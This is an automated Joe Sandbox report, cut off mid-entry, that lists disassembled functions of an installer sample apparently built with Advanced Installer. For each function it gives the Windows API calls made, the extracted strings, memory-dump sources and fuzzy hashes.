Instruction ID: e9a5d24510dbd0045669631dc5d386c7b138eaa6d84447bc47eac08b3c3467a5
Opcode Fuzzy Hash: 3cc7acfa260b9830c0ce477acd86d57611d47516e9ab2c791f7d244f50c972f4
Instruction Fuzzy Hash: EDB18C75A0161A9FDB64DF18C884AAEB3F5FF48304F1045AAEA49A7751E730AE90DF40

Function 000E0C00 Relevance: 10.7, APIs: 7, Instructions: 248windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000476,00000000,00000000), ref: 000E0CCC
GetWindowLongW.USER32(?,000000EC), ref: 000E0D4B
SetWindowLongW.USER32(?,000000EC,00000000), ref: 000E0D5C
CallWindowProcW.USER32(?,?,?,?,?), ref: 000E0DCA
SendMessageW.USER32(?,00000476,00000000,00000000), ref: 000E0DFF
DestroyWindow.USER32(?,?,?,?), ref: 000E0E0C
SendMessageW.USER32(?,00000010,00000000,00000000), ref: 000E0E4D

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Window$MessageSend$Long$CallDestroyProc
String ID:
API String ID: 3359082049-0
Opcode ID: 78a37df54480c15e7176f1fb69a52dcde34242cea44f231293e262c009cdc9a2
Instruction ID: d4af58b972693794f3b75ec6acfc632b27a856b92851eefcc5383985b2781266
Opcode Fuzzy Hash: 78a37df54480c15e7176f1fb69a52dcde34242cea44f231293e262c009cdc9a2
Instruction Fuzzy Hash: 8191E1706043459FDB748F1ADC84BABB7E1EB50320F10892EF896E6691C7B1E895CB91

Function 0008EE60 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 232COMMON

Download Yara Rule

APIs

Part of subcall function 00074130: GetProcessHeap.KERNEL32 ref: 00074185

SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,-00000010), ref: 0008EEF2
PathAppendW.SHLWAPI(00000000,WindowsPowerShell\v1.0\powershell.exe), ref: 0008EF05
PathFileExistsW.SHLWAPI(00000000), ref: 0008EF13

Strings

Unable to get temp file , xrefs: 0008F06E
ps1, xrefs: 0008F00C, 0008F01C, 0008F030
WindowsPowerShell\v1.0\powershell.exe, xrefs: 0008EEFC

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Path$AppendExistsFileFolderHeapProcess
String ID: Unable to get temp file $WindowsPowerShell\v1.0\powershell.exe$ps1
API String ID: 1051572116-996563039
Opcode ID: e32d47022c466ac17a18cfd0ce953d6592e46411d4621a60c0b529f1578cb555
Instruction ID: 0bd89b6e9a2f8c5f184cd86dcaeddb17e99e1516eca4103897df37513766b545
Opcode Fuzzy Hash: e32d47022c466ac17a18cfd0ce953d6592e46411d4621a60c0b529f1578cb555
Instruction Fuzzy Hash: 8E61BF31A00249DFDB10EF68C949BEEBBF8FF04710F548269E555DB292EB749A04CB90

Function 000BF0F0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 224registrysynchronizationwindowCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNEL32(00000000,00000001,?,?,.mtx), ref: 000BF260
RegisterWindowMessageW.USER32(00000000), ref: 000BF276

Strings

.mtx, xrefs: 000BF204, 000BF214
.tmp, xrefs: 000BF168, 000BF178

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: CreateMessageMutexRegisterWindow
String ID: .mtx$.tmp
API String ID: 627715353-3212867314
Opcode ID: bddbf91839e9c1bd2d98ccf942d7de243fddaa36771b0fa80e9ea97ea156becb
Instruction ID: 2d6a8fffec6818ab48bba8210eec55bfdfa85bb8dcb60f507a43d54c7b9fe0bf
Opcode Fuzzy Hash: bddbf91839e9c1bd2d98ccf942d7de243fddaa36771b0fa80e9ea97ea156becb
Instruction Fuzzy Hash: 8681D131A00606EFDB20DFA8CC45BEEB7F4FF44710F108669E515A7292DB74A905CB91

Function 000D1243 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 221COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32 ref: 000D12A9
GetActiveWindow.USER32 ref: 000D1482

Strings

open, xrefs: 000D129F
<, xrefs: 000D128B
', xrefs: 000D14D9
- , xrefs: 000D13A0

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ActiveExecuteShellWindow
String ID: - $'$<$open
API String ID: 2922113260-3022023506
Opcode ID: c7a2625edc8d3ed83f54b7d20eb0a89163fdcdf1d53871a6ba13789534399121
Instruction ID: 4370f58a841ba6fc9e49cf381c40a5f7449c39a496a3a936428678e87ced1fb3
Opcode Fuzzy Hash: c7a2625edc8d3ed83f54b7d20eb0a89163fdcdf1d53871a6ba13789534399121
Instruction Fuzzy Hash: A5A1AD30901A49DFDB61DB68CC8CB9DB7B1AF86324F1482D9E019972A1DB749E84CF51

Function 0009E960 Relevance: 10.6, APIs: 7, Instructions: 144networkCOMMON

Download Yara Rule

APIs

InternetSetOptionW.WININET(0010CE8D,0000002B,00000000,?), ref: 0009E9AA
InternetSetOptionW.WININET(0010CE8D,0000002C,00000000,?), ref: 0009E9B5
InternetSetOptionW.WININET(0010CE8D,0000001C,00000000,?), ref: 0009E9D0
InternetSetOptionW.WININET(0010CE8D,0000001D,00000000,?), ref: 0009E9DB
InternetSetOptionW.WININET(0010CE8D,0000002B,00000000,?), ref: 0009EA70
InternetSetOptionW.WININET(0010CE8D,0000001C,00000000,?), ref: 0009EA7F
InternetSetOptionW.WININET(0010CE8D,0000001D,00000000,?), ref: 0009EA8A

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: InternetOption
String ID:
API String ID: 3327645240-0
Opcode ID: 717205df94a72c26b7b6e67a209107447a2245b0e6b8718898f75ba1b125b4fc
Instruction ID: 2279ffcd99e58f3cf400dfe0d8d0de77d7799d7da2bd10c2c0c4e3160f7081d7
Opcode Fuzzy Hash: 717205df94a72c26b7b6e67a209107447a2245b0e6b8718898f75ba1b125b4fc
Instruction Fuzzy Hash: 9B416175204245AFDB04DF58D888E6ABBE9FF8D310F10449AF5119B362C721EC05EF62

Function 000D3070 Relevance: 10.6, APIs: 7, Instructions: 142threadsynchronizationCOMMON

Download Yara Rule

APIs

GetActiveWindow.USER32 ref: 000D31BB
SetLastError.KERNEL32(0000000E), ref: 000D31D8
WaitForSingleObject.KERNEL32(?,?), ref: 000D323E
GetExitCodeThread.KERNEL32(?,?), ref: 000D3258
TerminateThread.KERNEL32(?,00000000), ref: 000D3270
CloseHandle.KERNEL32(?), ref: 000D3279

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Thread$ActiveCloseCodeErrorExitHandleLastObjectSingleTerminateWaitWindow
String ID:
API String ID: 2645672148-0
Opcode ID: dd3e363659d4013db2cd7fcc9fda987faf4bd4b682e82cf47fe86a49f392e69e
Instruction ID: 1fd461b52763e20d76bb17d1bd7b6748144f7650aa337c087a3b637e21e3b48c
Opcode Fuzzy Hash: dd3e363659d4013db2cd7fcc9fda987faf4bd4b682e82cf47fe86a49f392e69e
Instruction Fuzzy Hash: 5F6128B0805388EFDF14CFA4DA487DE7BF4BF05308F108219F814AA291D7B69A58CB95

Function 000BE780 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 125windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000437,00000000,?), ref: 000BE7DE
SendMessageW.USER32(?,0000043A,00000001,00000074), ref: 000BE809
SendMessageW.USER32(?,00000444,00000001,00000074), ref: 000BE8D9

Strings

t, xrefs: 000BE7F1
, xrefs: 000BE81E
, xrefs: 000BE823

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: MessageSend
String ID: $ $t
API String ID: 3850602802-3061772819
Opcode ID: 56c26ffbd0d5f9a415dac1134c71f20bc8149702824a6760d50afad1cb3a0f08
Instruction ID: 75e6386daec794cdf209280faba1f188591c71d81b92c46f3fa5b72837e892e4
Opcode Fuzzy Hash: 56c26ffbd0d5f9a415dac1134c71f20bc8149702824a6760d50afad1cb3a0f08
Instruction Fuzzy Hash: 4841AF305087419FD724CF15C881BEABBE4FB85718F218A1DF1AAD6291CB30D6498FA7

Function 000E9360 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 000E9397
___except_validate_context_record.LIBVCRUNTIME ref: 000E939F
_ValidateLocalCookies.LIBCMT ref: 000E9428
__IsNonwritableInCurrentImage.LIBCMT ref: 000E9453
_ValidateLocalCookies.LIBCMT ref: 000E94A8

Strings

csm, xrefs: 000E943D

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 3fe170633d6a18c7685a62d2db187cc7957368c1bbc7db53e42b5aabd6c5fbb1
Instruction ID: bf4296631610f7655e1611a2799c2d6e30cba466f64e829f3ee183267fe1904c
Opcode Fuzzy Hash: 3fe170633d6a18c7685a62d2db187cc7957368c1bbc7db53e42b5aabd6c5fbb1
Instruction Fuzzy Hash: F341D374A00289AFCF10DF6AC880ADEBBE5EF45314F148155E814BB3E2D731AA46CB90

Function 000BEBA0 Relevance: 10.6, APIs: 7, Instructions: 101filethreadsynchronizationCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 000BEBEF
GetExitCodeThread.KERNEL32(00000000,?,?,00000000,00000000), ref: 000BEBF8
CloseHandle.KERNEL32(00000000), ref: 000BEC0A
CloseHandle.KERNEL32(00000000,0CE81EE3,00000000,?,00000000,00000000), ref: 000BEC14
UnmapViewOfFile.KERNEL32(?,0CE81EE3,00000000,?,00000000,00000000), ref: 000BEC1E
ReleaseMutex.KERNEL32(?,0CE81EE3,00000000,?,00000000,00000000), ref: 000BEC2C
CloseHandle.KERNEL32(?,?,00000000,00000000), ref: 000BEC35

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: CloseHandle$Thread$CodeExitFileMessageMutexPostReleaseUnmapView
String ID:
API String ID: 962052055-0
Opcode ID: 4cc21efb4306daaef162eec324bf64efb2eb4d45febe42f2d12fe523a8ee3d19
Instruction ID: cb5ecf4dcc9c50d9ce51822bb078a11d8a683d1763d75cf2c5d3cfa9822ccb38
Opcode Fuzzy Hash: 4cc21efb4306daaef162eec324bf64efb2eb4d45febe42f2d12fe523a8ee3d19
Instruction Fuzzy Hash: FC417671A00B48DFD720CF69CD48B9AFBF8FF48320F148669E455976A1E774E9058BA0

Function 0007E2E0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 79libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shlwapi.dll,00000020,00000044,?,00000000,?,?,?,?,0007A48A,?,?,000E0071), ref: 0007E2FB
GetProcAddress.KERNEL32(00000000,DllGetVersion), ref: 0007E311
FreeLibrary.KERNEL32(00000000), ref: 0007E34A
FreeLibrary.KERNEL32(00000000,?,00000000,?,?,?,?,0007A48A,?,?,000E0071,?,?,?,0CE81EE3,00000000), ref: 0007E366

Strings

Shlwapi.dll, xrefs: 0007E2FA
DllGetVersion, xrefs: 0007E30B

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Library$Free$AddressLoadProc
String ID: DllGetVersion$Shlwapi.dll
API String ID: 1386263645-2240825258
Opcode ID: 1313179acf879b8fe73ff8f8c4720d98c7dbe454f0f68f830436f40503128e28
Instruction ID: a5a01a2dafa57aa3509b90617a57924ef1adffe5b2a0081f3ec47c77a52f88b0
Opcode Fuzzy Hash: 1313179acf879b8fe73ff8f8c4720d98c7dbe454f0f68f830436f40503128e28
Instruction Fuzzy Hash: 9C21D176A443019BD300EF29E9856AFB7E4BFDD714F80096DF48DD3202EB24D94486A2

Function 000F88E4 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

api-ms-, xrefs: 000F893B
ext-ms-, xrefs: 000F894F

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: b0360fe2707d720bd7f0327f0a18da489c60996b084f7beb9215aa043fb1a5d0
Instruction ID: 86a851b8d1fe6300509cb667886bae777eb735957bd7551f5651b98051f30a53
Opcode Fuzzy Hash: b0360fe2707d720bd7f0327f0a18da489c60996b084f7beb9215aa043fb1a5d0
Instruction Fuzzy Hash: 9D210B31949218FBDB3147649C41AFE37949F05760F298125EF51A7991EFB0DC01E7E2

Function 0009C500 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 66networkCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,?,0009AFC7,00000000,.part,00000005,?,?,0CE81EE3), ref: 0009C514
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,0009AFC7,00000000,.part,00000005,?,?,0CE81EE3), ref: 0009C531
InternetOpenW.WININET(AdvancedInstaller,00000003,?,00000000,10000000), ref: 0009C57C
GetLastError.KERNEL32(.part,00000005,?,?,0CE81EE3), ref: 0009C590
InternetSetStatusCallbackW.WININET(00000000,0009C5B0), ref: 0009C59F

Strings

AdvancedInstaller, xrefs: 0009C577

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: CreateEventInternet$CallbackErrorLastOpenStatus
String ID: AdvancedInstaller
API String ID: 2592705480-1372594473
Opcode ID: b0aad281ec5c06aad9c31ae4bdf17f7c979e8273c74ed066cd2e720af22c26c0
Instruction ID: 49a8e62cf6b6a3e69ad43905457aa3dcd28e79809ddf8a952089e53a07632e50
Opcode Fuzzy Hash: b0aad281ec5c06aad9c31ae4bdf17f7c979e8273c74ed066cd2e720af22c26c0
Instruction Fuzzy Hash: 12115E71740A02FBEB24DB25DD89F5ABBE4FB48700F118019F5059BA90DB71F891DBA4

Function 000F6D08 Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(?,00000000,?), ref: 000F6D50
__fassign.LIBCMT ref: 000F6F35
__fassign.LIBCMT ref: 000F6F52
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 000F6F9A
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 000F6FDA
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 000F7082

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: bdf4c7a23aee691011ffb793d02b295dd3ce45832f874c95f10b984317520710
Instruction ID: 46257bce73e0db1ea1186eea235d98dfefcddb95cf81b87eb1821a53825f424c
Opcode Fuzzy Hash: bdf4c7a23aee691011ffb793d02b295dd3ce45832f874c95f10b984317520710
Instruction Fuzzy Hash: FCC1CC75D0425CCFCB10CFA8C8809EDBBB5AF08314F28416AEA59FB642D6319E46DF61

Function 000B4480 Relevance: 9.2, APIs: 6, Instructions: 232windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 000B4507

Part of subcall function 000C7270: CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,.part,00000005,?,0CE81EE3,-00000001,?,00000000,-00000001,-00000001), ref: 000C72E4
Part of subcall function 000C7270: CloseHandle.KERNEL32(00000000), ref: 000C730B

GetSystemMetrics.USER32(00000000), ref: 000B455E
GetSystemMetrics.USER32(00000001), ref: 000B4566
SendMessageW.USER32 ref: 000B4631
SendMessageW.USER32(?,0000102B,?,?), ref: 000B472F
SendMessageW.USER32(?,0000104C,00000000,0000104B), ref: 000B47BD

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: MessageSend$MetricsSystem$CloseCreateFileHandle
String ID:
API String ID: 3031881676-0
Opcode ID: 95d7a15824902e1ef3d1083d2633c0f936f9b1de6fb7aa1ada1fb3824273e365
Instruction ID: 9b51c3349e4da18b07ef3adf7519db91e97e0c51c7f57871e4c501eec465ad27
Opcode Fuzzy Hash: 95d7a15824902e1ef3d1083d2633c0f936f9b1de6fb7aa1ada1fb3824273e365
Instruction Fuzzy Hash: 9191BD71A187859BD730CF10C980BEBB7E1FFC9314F105A1EF98996252DBB19984CB82

Function 000B2390 Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 468COMMON

Download Yara Rule

APIs

SetRectEmpty.USER32 ref: 000B25C6
SetRectEmpty.USER32(?), ref: 000B2690

Part of subcall function 00074130: GetProcessHeap.KERNEL32 ref: 00074185

GetSystemMetrics.USER32(00000000), ref: 000B2A13
GetSystemMetrics.USER32(00000001), ref: 000B2A1A

Strings

@, xrefs: 000B2A53

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: EmptyMetricsRectSystem$HeapProcess
String ID: @
API String ID: 3451170441-2766056989
Opcode ID: ebe889016b8fd3fcbd1f197a0ee1af05f87064a9b044482c14ed96a7168bbecf
Instruction ID: 64362a8f3f02a85d8be06d05f1268dea1c6b8b035e3bfe9ca6320775d78e6f15
Opcode Fuzzy Hash: ebe889016b8fd3fcbd1f197a0ee1af05f87064a9b044482c14ed96a7168bbecf
Instruction Fuzzy Hash: 9C324970401745CFEB11DF28C59878ABFE0AF05318F2485ACD8999F792C7B99A49CB91

Function 000DE5F0 Relevance: 9.2, APIs: 6, Instructions: 195COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000400,00000000,?,0CE81EE3,?,?,00000000), ref: 000DE68D
EnumWindows.USER32(000DE390,?), ref: 000DE73F
GetWindowTextW.USER32(?,?,00000104), ref: 000DE796

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: EnumOpenProcessTextWindowWindows
String ID:
API String ID: 582485257-0
Opcode ID: 0e6dcb4d91f4884abbdd274dbc4e88faeb68c75ac823e410949d0da6aa5775d1
Instruction ID: 8320053d938f7c93f4a6b7a177a9a890b7b4f9c9d2fba3ebb244ee1189a2609f
Opcode Fuzzy Hash: 0e6dcb4d91f4884abbdd274dbc4e88faeb68c75ac823e410949d0da6aa5775d1
Instruction Fuzzy Hash: 16813A70D00389DFDB10EFA8C989BEEBBF4AF04314F148159E914BB291DB759945CBA1

Function 000C7420 Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 431fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 000C78E2
CloseHandle.KERNEL32(00000000), ref: 000C790B
GetFileSize.KERNEL32(00000000,00000000), ref: 000C7918
CloseHandle.KERNEL32(00000000), ref: 000C7934

Strings

open, xrefs: 000C9F03

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
